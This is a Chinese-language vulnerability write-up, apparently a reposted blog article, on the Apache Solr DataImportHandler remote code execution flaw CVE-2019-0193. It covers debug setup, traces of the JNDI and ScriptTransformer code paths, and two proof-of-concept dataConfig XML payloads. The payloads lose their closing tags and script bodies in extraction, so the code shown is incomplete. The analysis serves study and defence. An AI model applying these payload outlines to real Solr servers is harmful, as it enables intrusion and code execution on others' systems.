showmodaldialog无法执行runat server按钮_CVE20190193/Apache Solr DataImportHandler远程代码执行漏洞分析报告...

6543028f19946b5456535ad06e7b0c2e.png

调试环境搭建

1.JDK 8U20

2.下载solr 8.1.0(8.2.0需要开启enable.dih.dataConfigParam)
https://archive.apache.org/dist/lucene/solr/8.1.0/solr-8.1.0.zip

3.下载java数据库驱动jar,这里以mysql举例
https://cdn.mysql.com//Downloads/Connector-J/mysql-connector-java-8.0.17.zip
解压以后可以获得mysql-connector-java-8.0.17.jar

4.放置mysql-connector-java-8.0.17.jarsolr-8.1.0/server/solr-webapp/webapp/WEB-INF/lib/

5.安装apache-ant

6.进入solr根目录运行ant idea,即可将solr源码编译成intellij idea项目。在编译idea项目时时候可能会失败,此时可以运行ant ivy-bootstrap

7.使用idea open编译好的文件夹,等待一段时间

8.新增Remote,作如下配置

4b3da4ec2d93d600e375a9377b590798.png

Remote

如果没有server模块,请到solr根目录下运行ant server

9.在如下位置新增xml内容

f90fa5142dff1976a2fb9de2fdbfa292.png

xml内容

 <requestHandler name="/dataimport" class="solr.DataImportHandler">
<lst name="defaults">
<str name="config">db-data-config.xmlstr>
lst>
requestHandler>

db-data-config.xml

<dataConfig>
<dataSource driver="org.hsqldb.jdbcDriver" url="jdbc:hsqldb:${solr.install.dir}/example/example-DIH/hsqldb/ex" user="sa" />
<document>
<entity name="item" query="select * from item"deltaQuery="select id from item where last_modified > '${dataimporter.last_index_time}'">
<field column="NAME" name="name" />

<entity name="feature" query="select DESCRIPTION from FEATURE where ITEM_ID='${item.ID}'"deltaQuery="select ITEM_ID from FEATURE where last_modified > '${dataimporter.last_index_time}'"parentDeltaQuery="select ID from item where ID=${feature.ITEM_ID}">
<field name="features" column="DESCRIPTION" />
entity>

<entity name="item_category"query="select CATEGORY_ID from item_category where ITEM_ID='${item.ID}'"deltaQuery="select ITEM_ID, CATEGORY_ID from item_category where last_modified > '${dataimporter.last_index_time}'"parentDeltaQuery="select ID from item where ID=${item_category.ITEM_ID}">
<entity name="category"query="select DESCRIPTION from category where ID = '${item_category.CATEGORY_ID}'"deltaQuery="select ID from category where last_modified > '${dataimporter.last_index_time}'"parentDeltaQuery="select ITEM_ID, CATEGORY_ID from item_category where CATEGORY_ID=${category.ID}">
<field column="DESCRIPTION" name="cat" />
entity>
entity>
entity>
document>
dataConfig>

10.进入solr/solr/bin,执行如下命令启动solr远程debug模式./solr start -p 8988 -f -a "-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8988"

等待terminal出现Listening for transport dt_socket at address: 8988提示语时,点击idea的debug按钮

a14e4b81227f561edb1ffa4b7a39e112.png

debug

点击以后,debugger启动,同时solr启动正常

8237f10b3baa1fb0e3f562e9f978dec7.png

debugger启动

4374bb0794e02e15efdca2b3d3e913e0.png

solr启动正常

11.访问http://127.0.0.1:8988/solr/即可

漏洞分析

1.JNDI触发

根据官方或者网络上的Solr DIH指南,不难得出DIH的基本xml配置如下

<dataSource name= "mysql" type="JdbcDataSource" driver="com.mysql.jdbc.Driver" url="jdbc:mysql://127.0.0.1:3306/mysql" user="root" password="root"/><document><entity name= "node">entity>document>dataConfig>

得到JdbcDataSource关键字,尝试搜索相关类,最终在org.apache.solr.handler.dataimport包内找到JdbcDataSource类

bed96830dd5c04f83420fe51339a25d9.png

JdbcDataSource类

翻看此类发现jndiName属性,猜测该类可能有JNDI注入的可能性。在JdbcDataSource类中搜索jndiName,找到if (jndiName != null)相关代码片段。尝试在此处打入断点,且尝试构造xml写入配置进行debug。

fe18b44a5b7ece8a3f75d49b47a91daa.png

debug

跟踪该断点,直接跳转到getFromJndi方法,随之进入InitialContext类的对象方法lookup

d3ce0c7525d1f8e59a6baac77fd4d925.png

lookup

执行lookup(),可以进行JNDI注入,最终触发org.apache.solr.core.SolrCoreexecute完成RCE

02ea2f39c3975042225a99b7531e0f0b.png

RCE

5cbb83dbda44b475e466a06c46d721ea.png

JNDI注入

2.ScriptTransformer触发

根据NVD的漏洞预警和qita的指南,可以得知此次的漏洞是可以通过ScriptTransformer配合script触发的。

cc40e39584f8aa45b3fe0e746ea313f9.png

NVD

86f2c67db8ce326b0f68078f80f960a2.png

qita

配置DataSource有多种方式,这里以JdbcDataSource为例

53b9d722374ce6022c6abb02b03652ed.png

DataSource

org.apache.solr.handler.dataimport.DataImportHandlerhandleRequestBody打上断点插入数据进行debug

发现会进入下面的判断体

cf53972e75b0db0a258a4a0c2f873ad6.png

判断体

这里我们的请求的command为full-import

acf7ef501a6114a3d1b4e7886aac9a56.png

full-import

随即进入maybeReloadConfiguration,由于dataconfig不为空,使用loadDataConfig加载

9abd866acc2be800bc2fc34991d476b7.png

loadDataConfig

随后使用readFromXml加载配置文件中提交的数据,使用getText获得function

87bf36d80f9707f849fcdee0fb1ba8bf.png

getText

最后获取到所有数据以后,返回一个DIHConfiguration对象,当debug为ture执行runCmd方法

c912e67afc122666284cbc29d50c22c4.png

debug为ture

在判断command为full-import时,执行 this.doFullImport(sw, reqParams);

8db21a9c40e311f554c80b39f399482f.png

doFullImport

doFullImport中存在this.docBuilder.execute();,将得到一个EntityProcessorWrapper对象——epw

epw中的nextRow中存在applyTransformer()转换脚本,而其使用的是相应Transformer的transformRow

bcd63367386506aee35b6d8b65a3fae4.png

applyTransformer

根据官方文档,ScriptTransformer允许多种Java支持的脚本语言调用,如Javascript、JRuby、Jython、Groovy和BeanShell等

bcb6381c9f08498152ddc7c2c4e12cec.png

官方文档

而在solr中,JS的默认引擎是Nashorn

5d33ebc3e47a32d50cd4a52e34249969.png

Nashorn

使用scriptEngine.eval(scriptText);取出具体脚本语言和我们要执行的代码

1c8724e0511db048791d4a45c63cd58f.png

取出

最后调用return this.engine == null ? row : this.engine.invokeFunction(this.functionName, row, context);

7fab4c0af554ac4527d9870fc944c377.png

调用

发现这里调用的invokeFunction其实是javax.script.InvocableinvokeFunction

d456eb1bc2a28e91f3c0bb50c1be29dc.png

javax.script.Invocable

最终RCE触发成功

84f9a465fbd68a74f841dd5413be1010.png

RCE触发成功

调用栈如下:

67c1b3980f295ca98cd0daf7f2958c71.png

调用栈

POC

JdbcDataSource poc

<dataConfig>
<dataSource name= "mysql" type="JdbcDataSource" driver="com.mysql.jdbc.Driver" url="jdbc:mysql://127.0.0.1:3306/mysql" user="root" password="root"/>
<script >script>
<document>
<entity name= "poc" query= "SELECT 1" transformer= "script:"/>
document>
dataConfig>

URLDataSource poc

<dataConfig>
<dataSource type="URLDataSource"/>
<script> ]]>script>
<document>
<entity name="poc"url="https://stackoverflow.com/feeds"processor="XPathEntityProcessor"forEach="/feed"transformer="script:" />
document>
dataConfig>
JNDI 触发poc可通过自行debug得出

鸣谢

pyn3rd

参考

用Intellij idea搭建solr调试环境:https://www.cnblogs.com/jeniss/p/5995921.htmlSolrでDataImportHandlerのTransformerをJavaScriptで書く:https://qiita.com/nanakenashi/items/fc613d5b9deec5d2bed7nvd CVE-2019-0193:https://nvd.nist.gov/vuln/detail/CVE-2019-0193Solr Ref Guide 8.1:https://lucene.apache.org/solr/guide/8_1/uploading-structured-data-store-data-with-the-data-import-handler.html

发现 | 发掘

为随时发生的网安动态发声

6093191f8d34614e1ecead0a71e3924f.png

资讯|干货|案例|威胁|动态

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值